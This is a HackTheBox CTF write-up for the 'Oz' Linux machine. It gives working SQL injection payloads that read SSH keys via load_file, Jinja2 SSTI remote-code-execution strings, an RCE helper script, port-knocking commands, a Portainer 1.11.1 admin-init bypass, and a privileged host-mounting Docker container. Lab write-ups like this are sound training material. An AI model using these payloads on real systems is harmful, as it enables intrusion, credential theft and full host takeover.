HTB: Oz Writeup
Oz - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Oz |
| OS | Linux |
| Difficulty | Hard |
| Points | 40 |
| Release Date | 28 Apr 2018 |
| IP Address | 10.129.245.55 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Oz is a hard-difficulty Linux machine that demonstrates a multi-stage exploitation chain involving web application vulnerabilities, container escape techniques, and Docker management tool abuse. The attack path begins with SQL injection on a custom web API to extract database credentials and file system contents, including an encrypted SSH private key. After cracking password hashes, access to a secondary web portal reveals a Server-Side Template Injection (SSTI) vulnerability in Jinja2, leading to remote code execution within a Docker container. The container provides access to a port-knocking configuration that opens SSH, enabling lateral movement to the host system as the user dorthi. Final privilege escalation exploits Portainer 1.11.1’s authentication bypass vulnerability and Docker permissions to create a privileged container with host filesystem access, achieving root-level control.
TL;DR: SQL injection on port 80 → extract encrypted SSH key + PBKDF2-SHA256 hashes → crack wizard.oz:wizardofoz22 → SSTI RCE in GBR Support portal (port 8080) → extract port-knock sequence + dorthi credentials → SSH access after UDP port knocking → sudo docker network commands reveal Portainer @ 172.17.0.2:9000 → Portainer 1.11.1 auth bypass (CVE-2018-19466 style) → create privileged container with host mount → root flag.
Reconnaissance
Port Scanning
# Full port scan to identify all open servicesnmap -p- --min-rate=2000 -T4 10.129.245.55Results:
80/tcp open http8080/tcp open http-proxyService Enumeration
# Detailed service and version detection on identified portsnmap -p80,8080 -sC -sV 10.129.245.55Key Services:
- Port 80/tcp: Werkzeug httpd (Python 2.7.18) - “OZ webapi”
- Port 8080/tcp: Werkzeug httpd (Python 2.7.18) - “GBR Support - Login”
Werkzeug is a WSGI utility library for Python, commonly used with Flask applications. The presence of two separate Werkzeug instances suggests a multi-component application architecture, likely utilizing Flask’s template engine (Jinja2).
Web Application Enumeration
Port 80 - OZ webapi:
# Initial probing of the web APIcurl -s http://10.129.245.55/# Returns: "Please register a username!"
curl -s http://10.129.245.55/users# Returns: same registration message
curl -s http://10.129.245.55/users/admin# Returns: {"username":"admin"}
curl -s http://10.129.245.55/users/dorthi# Returns: {"username":"dorthi"}The /users/<username> endpoint returns JSON responses confirming valid usernames, suggesting a backend database query is executed based on the URL parameter.
Port 8080 - GBR Support Portal:
The login page requests username and password credentials. Standard default credentials (admin:admin, admin:password) fail to authenticate.
Vulnerability Assessment
- SQL Injection: The
/users/<username>endpoint on port 80 appears to accept arbitrary input without proper sanitization, potentially allowing SQL injection attacks. - SSTI Potential: Flask/Jinja2 applications commonly suffer from Server-Side Template Injection if user input is improperly handled in template rendering.
- Werkzeug Debug Mode: If enabled, could provide direct code execution (tested negative in this case).
Initial Foothold
SQL Injection - Port 80 OZ webapi
Confirming the Vulnerability
# Test basic SQL injection with OR condition# NOTE: Spaces must be URL-encoded as %20 for successful exploitationcurl -s --path-as-is "http://10.129.245.55/users/'%20OR%20'1'='1"# Returns: {"username":"dorthi"}The ' OR '1'='1 payload successfully bypasses the intended query logic and returns a valid user, confirming the presence of SQL injection. The vulnerability likely exists in a query similar to:
SELECT username FROM users WHERE username='<user_input>'Database Enumeration
# Extract database version (MariaDB)curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20@@version--%20-"# Returns: {"username":"5.5.64-MariaDB-1~trusty"}
# Extract current database namecurl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20database()--%20-"# Returns: {"username":"ozdb"}Why this works: UNION-based SQL injection allows us to append our own SELECT statement to the original query. The -- sequence comments out the remainder of the original SQL, and the trailing - ensures proper syntax. URL encoding is critical because the Flask route parser treats unencoded spaces as path delimiters.
File System Access via SQL
MariaDB’s load_file() function can read arbitrary files if the database user has FILE privileges:
# Generate hex-encoded path to avoid quote escaping issuesprintf "/home/dorthi/.ssh/id_rsa" | xxd -ps -c 200 | tr -d '\n'# Outputs: 2f686f6d652f646f727468692f2e7373682f69645f727361
# Read SSH private key using hex-encoded pathcurl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20load_file(0x2f686f6d652f646f727468692f2e7373682f69645f727361)--%20-"Result: An encrypted RSA private key is returned:
-----BEGIN RSA PRIVATE KEY-----Proc-Type: 4,ENCRYPTEDDEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6
RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFCb6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F[...TRUNCATED...]The key is encrypted with AES-128-CBC and requires a passphrase, making it unusable without further credential discovery.
Database Table Enumeration
# Enumerate tables in the current databasefor i in 0 1 2 3; do curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20table_name%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20table_schema=database()%20LIMIT%20$i,1--%20-"done# Returns: tickets_gbw, users_gbwTwo custom tables exist: tickets_gbw and users_gbw. The users_gbw table likely contains authentication credentials.
Extracting Password Hashes
# Extract username:password pairs from users_gbw tablefor id in 1 2 3 4 5 6; do curl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20CONCAT(username,0x3a,password)%20FROM%20users_gbw%20WHERE%20id='$id'--%20-"doneExtracted hashes:
dorthi:$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78tin.man:$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofkwizard.oz:$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWYcoward.lyon:$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DYtoto:$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkgadmin:$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQHash Cracking - PBKDF2-SHA256
PBKDF2-SHA256 is a key derivation function designed to be computationally expensive, making brute-force attacks time-consuming. John the Ripper supports this format:
# Save hashes to filecat > oz_hashes.txt <<EOFdorthi:$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78tin.man:$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofkwizard.oz:$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWYcoward.lyon:$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DYtoto:$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkgadmin:$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQEOF
# Crack with john using rockyou.txt wordlistjohn oz_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --fork=4Cracked credential: wizard.oz:wizardofoz22
GBR Support Portal - SSTI Exploitation
Authentication
# Login with cracked credentialscurl -i -c cookie.txt -b cookie.txt \ -d 'username=wizard.oz&password=wizardofoz22' \ http://10.129.245.55:8080/login
# Response includes JWT token in Set-Cookie header# token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IndpemFyZC5veiIsImV4cCI6MTc4NDY0Nzk2Nn0.7I6XEe9nrcUR6AGlDO_oUsf1dnoWsimRnV4xhn59wfoAfter successful authentication, a JWT (JSON Web Token) is issued for session management. The portal presents a ticket creation form with name and desc fields.
SSTI Detection
Jinja2 template injection is tested by submitting mathematical expressions:
# Test basic template evaluationcurl -s -b cookie.txt -d 'name={{7*7}}&desc=hello' http://10.129.245.55:8080/# Response contains: "Name: 49 desc: hello"
# Confirm Jinja2 with string multiplicationcurl -s -b cookie.txt -d 'name={{7*"7"}}&desc=test' http://10.129.245.55:8080/# Response contains: "Name: 7777777"Why this works: The application is rendering user-supplied input through Jinja2’s template engine without proper sanitization. The {{7*7}} payload evaluates to 49, and {{7*"7"}} produces seven sevens (string repetition in Python), confirming Jinja2 is the underlying engine.
Information Disclosure via SSTI
# Leak Flask configuration object containing sensitive datacurl -s -b cookie.txt --data-urlencode 'name={{config}}' --data-urlencode 'desc=x' \ http://10.129.245.55:8080/ | grep -i 'Name:'Result: The configuration object reveals database credentials:
'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb'This leaks the credentials dorthi:N0Pl4c3L1keH0me, which will be critical for SSH authentication.
Remote Code Execution via SSTI
Jinja2’s object introspection capabilities allow access to Python’s built-in classes, including those capable of executing system commands:
# Execute 'id' command via cycler.__init__.__globals__.os.popen()curl -s -b cookie.txt \ --data-urlencode 'name={{cycler.__init__.__globals__.os.popen("id").read()}}' \ --data-urlencode 'desc=x' \ http://10.129.245.55:8080/ | grep -i 'Name:'
# Returns: "Name: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon)..."Why this works:
cycleris a Jinja2 built-in object__init__.__globals__accesses the global namespace of the cycler moduleos.popen()is available in that namespace and executes shell commands.read()returns the command output as a string
The RCE confirms we’re executing as root, but this is within a Docker container (verified by examining /proc/self/cgroup and presence of /.dockerenv).
Container Enumeration
To facilitate complex command execution over the multi-hop SSH setup, a helper script is created to encode commands in base64, execute them remotely, and decode the output:
# Helper script for RCE with base64-encoded command outputcat > /tmp/rce.sh <<'SH'T=10.129.245.55; C="/dev/shm/oz.cookie"CMD=$(printf '%s' "$1" | base64 -w0)ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> \ "curl -s -m 30 -b $C \ --data-urlencode \"name={{cycler.__init__.__globals__.os.popen('echo $CMD | base64 -d | sh 2>&1').read().encode('base64')}}\" \ --data-urlencode 'desc=x' http://$T:8080/" \ > /tmp/rce_resp.htmlperl -0777 -ne 'if(/Name:\s*(.*?)\s*desc:/s){print $1}' /tmp/rce_resp.html | tr -d ' \t\r\n' | base64 -dechoSHchmod +x /tmp/rce.shReading knockd configuration:
# Extract port-knocking sequence from container/tmp/rce.sh 'cat /.secret/knockd.conf'Output:
[options] logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 40809:udp,50212:udp,46969:udp seq_timeout = 15 start_command = ufw allow from %IP% to any port 22 cmd_timeout = 10 stop_command = ufw delete allow from %IP% to any port 22 tcpflags = synThis reveals that SSH (port 22) is protected by port knocking: three UDP packets must be sent in sequence (40809, 50212, 46969) to trigger a UFW firewall rule that temporarily allows SSH access.
SSH Access via Port Knocking
Preparing the SSH Key
The encrypted SSH private key requires the passphrase N0Pl4c3L1keH0me (leaked from the Flask config):
# Reconstruct id_rsa from SQL injection outputcurl -s --path-as-is "http://10.129.245.55/users/writeup'%20UNION%20ALL%20SELECT%20load_file(0x2f686f6d652f646f727468692f2e7373682f69645f727361)--%20-" \ | python3 -c "import json,sys; print(json.load(sys.stdin)['username'])" > id_rsachmod 600 id_rsa
# Remove the passphrase for automated loginssh-keygen -p -P "N0Pl4c3L1keH0me" -N "" -f id_rsaWhy remove the passphrase: Automated scripts and sshuttle cannot interactively provide passphrases, so we decrypt the key locally using the known passphrase and save it without encryption.
Port Knocking and SSH Login
# Upload decrypted key to jump hostscp -o ControlPath=/tmp/ctf_ssh_ctl_1 -P 22 id_rsa d3vn0mi@<jump-host>:/dev/shm/id_rsa_dec
# Execute port knock sequence (3 UDP packets) then SSHssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> ' for p in 40809 50212 46969; do echo -n x | nc -u -w1 10.129.245.55 $p done sleep 1 ssh -i /dev/shm/id_rsa_dec -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 \ dorthi@10.129.245.55 "id; hostname; cat ~/user.txt"'Output:
uid=1000(dorthi) gid=1000(dorthi) groups=1000(dorthi)oz<redacted>User flag captured: <redacted>
Privilege Escalation
Sudo Privileges - Docker Network Commands
# Check sudo permissions for user dorthisudo -lOutput:
User dorthi may run the following commands on oz: (ALL) NOPASSWD: /usr/bin/docker network inspect * (ALL) NOPASSWD: /usr/bin/docker network lsDorthi can run specific Docker network commands as root without a password. While these commands appear benign (read-only network inspection), they can leak information about other containers and services on the host.
Docker Network Enumeration
# Create helper script for knocked SSH sessionscat > /tmp/kssh.sh <<'SH'#!/bin/bash# base64-encode command to survive double-hop SSH quotingCMD=$(printf '%s' "$1" | base64 -w0)ssh -o ControlPath=/tmp/ctf_ssh_ctl_1 -p 22 d3vn0mi@<jump-host> " for p in 40809 50212 46969; do echo -n x | nc -u -w1 10.129.245.55 \$p; done sleep 1 timeout 30 ssh -i /dev/shm/id_rsa_dec -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 \ dorthi@10.129.245.55 \"echo $CMD | base64 -d | bash\" 2>&1 \ | grep -vE 'WARNING|quantum|openssh.com/pq|Permanently added'"SHchmod +x /tmp/kssh.sh
# Inspect Docker bridge network/tmp/kssh.sh 'sudo /usr/bin/docker network inspect bridge'Key finding from bridge network:
"Containers": { "e403039d8721aca598927bfff1aab81be33b776209c92484535e45dd794810e0": { "Name": "portainer-1.11.1", "EndpointID": "519687b98bacf065165084b0ef4b7d8a1d71739a702a173899c4a3c39a8bcf3d", "MacAddress": "02:42:ac:11:00:02", "IPv4Address": "172.17.0.2/16", "IPv6Address": "" }}A Portainer container (version 1.11.1) is running at 172.17.0.2:9000. Portainer is a web-based Docker management UI that provides full control over containers, images, volumes, and networks.
Inspecting prodnet network:
/tmp/kssh.sh 'sudo /usr/bin/docker network inspect prodnet'Result reveals multiple application containers:
tix-appat 10.100.10.2 (the container we had RCE in)ozdbat 10.100.10.4 (MariaDB database)webapiat 10.100.10.6 (port 80 API service)
Portainer Authentication Bypass (CVE-2018-19466 style)
Portainer 1.11.1 has a well-known authentication bypass: if the admin password has not been initialized, any user can set it via the API endpoint /api/users/admin/init. This endpoint accepts a POST request with a new password in JSON format.
Important discovery: Portainer is accessible DIRECTLY from the host (not just via Docker networking) because dorthi’s SSH session is on the host machine itself, which can reach 172.17.0.2:9000 without any tunneling.
# Test Portainer availability/tmp/kssh.sh 'curl -s -m 10 http://172.17.0.2:9000/api/status'# Returns: 404 page not found (endpoint may not exist in 1.11.1)
# Initialize admin password (authentication bypass)/tmp/kssh.sh 'curl -s -m 10 -w "\nHTTP:%{http_code}\n" \ -H "Content-Type: application/json" \ http://172.17.0.2:9000/api/users/admin/init \ -d "{\"password\":\"Pwn3dP0rt41n3r99\"}"'# Returns: HTTP:200 (success)Why this works: Portainer 1.11.1 does not verify whether an admin has already been initialized before allowing password setting via the API. This is a design flaw that allows anyone with network access to claim the admin account.
Authentication and JWT Token
# Authenticate with the newly set password/tmp/kssh.sh 'curl -s -m 10 -H "Content-Type: application/json" \ http://172.17.0.2:9000/api/auth \ -d "{\"Username\":\"admin\",\"Password\":\"Pwn3dP0rt41n3r99\"}"'Response:
{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzg0Njc1MTk0fQ.q3cuK-cE2FDZyVvv3ivQERrIjHLg61ugJLgGBpNoRdM"}The JWT token is now used to authenticate all subsequent Portainer API requests via the Authorization: Bearer <token> header.
Portainer Endpoint Configuration
In Portainer 1.11.1, the Docker API proxy requires an “active endpoint” to be configured before it will forward requests to the Docker daemon.
# Create Docker endpoint pointing to local socket/tmp/kssh.sh 'J=$(curl -s -m10 -H "Content-Type: application/json" \ http://172.17.0.2:9000/api/auth \ -d "{\"Username\":\"admin\",\"Password\":\"Pwn3dP0rt41n3r99\"}" \ | sed -E "s/.*jwt\":\"([^\"]+)\".*/\1/")curl -s -m 10 -w "\nHTTP:%{http_code}\n" \ -H "Authorization: Bearer $J" \ -H "Content-Type: application/json" \ http://172.17.0.2:9000/api/endpoints \ -d "{\"Name\":\"local\",\"URL\":\"unix:///var/run/docker.sock\",\"TLS\":false,\"PublicURL\":\"\"}"'Response:
{"Id":1}HTTP:200Critical step - Activate the endpoint:
# Activate endpoint 1 to enable Docker API proxy/tmp/kssh.sh 'J=$(curl -s -m10 -H "Content-Type: application/json" \ http://172.17.0.2:9000/api/auth \ -d "{\"Username\":\"admin\",\"Password\":\"Pwn3dP0rt41n3r99\"}" \ | sed -E "s/.*jwt\":\"([^\"]+)\".*/\1/")curl -s -m8 -X POST -H "Authorization: Bearer $J" \ http://172.17.0.2:9000/api/endpoints/1/active'# Returns: HTTP:200
# Now the global Docker API proxy is accessiblecurl -s -m10 -H "Authorization: Bearer $J" \ http://172.17.0.2:9000/api/docker/version | head -c 200Why this matters: Portainer 1.11.1’s Docker proxy is exposed at /api/docker/* (global path, NOT /api/endpoints/1/docker/*), but it requires an active endpoint to be set first. After the POST to /api/endpoints/1/active, all subsequent /api/docker/ requests are proxied to the Docker daemon.
Privilege Escalation via Privileged Container
With full access to the Docker API through Portainer, we can create a privileged container that mounts the host’s root filesystem:
# Create privileged container mounting host / to /host inside containercat > /tmp/pwn_remote.sh <<'SCRIPT'#!/bin/bashP=172.17.0.2:9000J=$(curl -s -m10 -H "Content-Type: application/json" \ http://$P/api/auth \ -d '{"Username":"admin","Password":"Pwn3dP0rt41n3r99"}' \ | sed -E 's/.*jwt":"([^"]+)".*/\1/')
# Activate endpointcurl -s -m8 -X POST -H "Authorization: Bearer $J" \ http://$P/api/endpoints/1/active >/dev/null
AUTH="Authorization: Bearer $J"
# Create privileged container with host filesystem mountCREATE='{ "Image":"python:2.7-alpine", "Cmd":["/bin/sh","-c","cat /host/root/root.txt > /host/tmp/rootflag.txt 2>&1; id > /host/tmp/whoami_pwn.txt"], "HostConfig":{ "Binds":["/:/host"], "Privileged":true }}'
CID=$(curl -s -m10 -H "$AUTH" -H "Content-Type: application/json" \ "http://$P/api/docker/containers/create?name=pwnbox" \ -d "$CREATE" | sed -E 's/.*"Id":"([^"]+)".*/\1/')
echo "CID=$CID"
# Start the containercurl -s -m10 -X POST -H "$AUTH" \ "http://$P/api/docker/containers/$CID/start" \ -w "start:[%{http_code}]\n"
sleep 3
# Read output from host filesystemcat /tmp/rootflag.txt 2>/dev/nullecho "=== whoami_pwn ==="cat /tmp/whoami_pwn.txt 2>/dev/nullSCRIPT
# Execute remotely via knocked SSHB64=$(base64 -w0 /tmp/pwn_remote.sh)/tmp/kssh.sh "echo $B64 | base64 -d > /tmp/pwn.sh; bash /tmp/pwn.sh"Output:
CID=df699bebbbcd2c46c8759556da86d8ef13d8647f63eb885064670a0c8bcfa165start:[200]=== flag from host /tmp ===<redacted>=== whoami_pwn ===uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)Root flag captured: <redacted>
Why this works:
- Privileged mode (
"Privileged":true) disables most security restrictions, giving the container near-complete access to the host kernel